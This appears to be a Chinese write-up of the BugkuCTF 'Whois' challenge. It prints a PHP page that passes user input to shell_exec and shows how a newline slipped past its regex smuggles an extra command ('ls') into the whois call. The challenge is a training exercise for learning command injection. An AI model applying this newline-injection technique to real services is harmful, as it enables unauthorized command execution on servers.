【BugkuCTF】Whois

直接访问http://49.232.142.230:15900/query.php

会直接爆出源码

复制代码
<?php

error_reporting(0);

$output = null;
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
$query_regex = "/^[0-9a-zA-Z\. ]+$/";


if (isset($_GET['query']) && isset($_GET['host']) && 
      is_string($_GET['query']) && is_string($_GET['host'])) {

  $query = $_GET['query'];
  $host = $_GET['host'];
  
  if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {
    $output = "Invalid query or whois host";
  } else {
    $output = shell_exec("/usr/bin/whois -h ${host} ${query}");
  }

} 
else {
  highlight_file(__FILE__);
  exit;
}

?>

<!DOCTYPE html>
<html>
  <head>
    <title>Whois</title>
  </head>
  <body>
    <pre><?= htmlspecialchars($output) ?></pre>
  </body>
</html>

具体执行的命令大概如下所示

复制代码
/usr/bin/whois -h whois.verisign-grs.com baidu.com

但是这里需要绕正则,通过正则可知我们无法使用常规的方法来拼接命令

复制代码
# host参数只能由0-9、a-z、A-Z、.(点)、-(减号)以及\n或者\r 组成
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
# query参数只能由0-9、a-z、A-Z、.(点)、 (空格)以及\n或者\r组成
$query_regex = "/^[0-9a-zA-Z\. ]+$/";

可以看到**\n换行符** 和**\r回车符**是可以用的

这里回车符不行,但是换行符可以

这样子后端的命令就变成了

复制代码
/usr/bin/whois -h whois.verisign-grs.com
ls
相关推荐
Whoami!3 小时前
⓫⁄₉ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 动态链接库(dll)文件劫持(上)
windows·网络安全·信息安全·dll劫持
汤愈韬12 小时前
ACL概述、ACL原理、基本ACL应用及配置
网络·网络协议·网络安全
青岑CTF16 小时前
攻防世界-Ics-05-胎教版wp
开发语言·安全·web安全·网络安全·php
Yff_world17 小时前
网络通信模型
学习·网络安全
Palpitate_LL18 小时前
Mongoose 搜索注入漏洞 CVE-2024-53900 到 CVE-2025-23061
网络安全
vortex518 小时前
动态漏洞探测:带参 URL 收集与扫描流程优化
web安全·网络安全·渗透测试
one____dream20 小时前
【网安】Reverse-非常规题目
linux·python·安全·网络安全·ctf
Root_Hacker21 小时前
sql注入学习笔记
数据库·sql·web安全·网络安全·oracle·网络攻击模型
青岑CTF1 天前
攻防世界-Web_php_include-胎教版wp
开发语言·安全·web安全·网络安全·php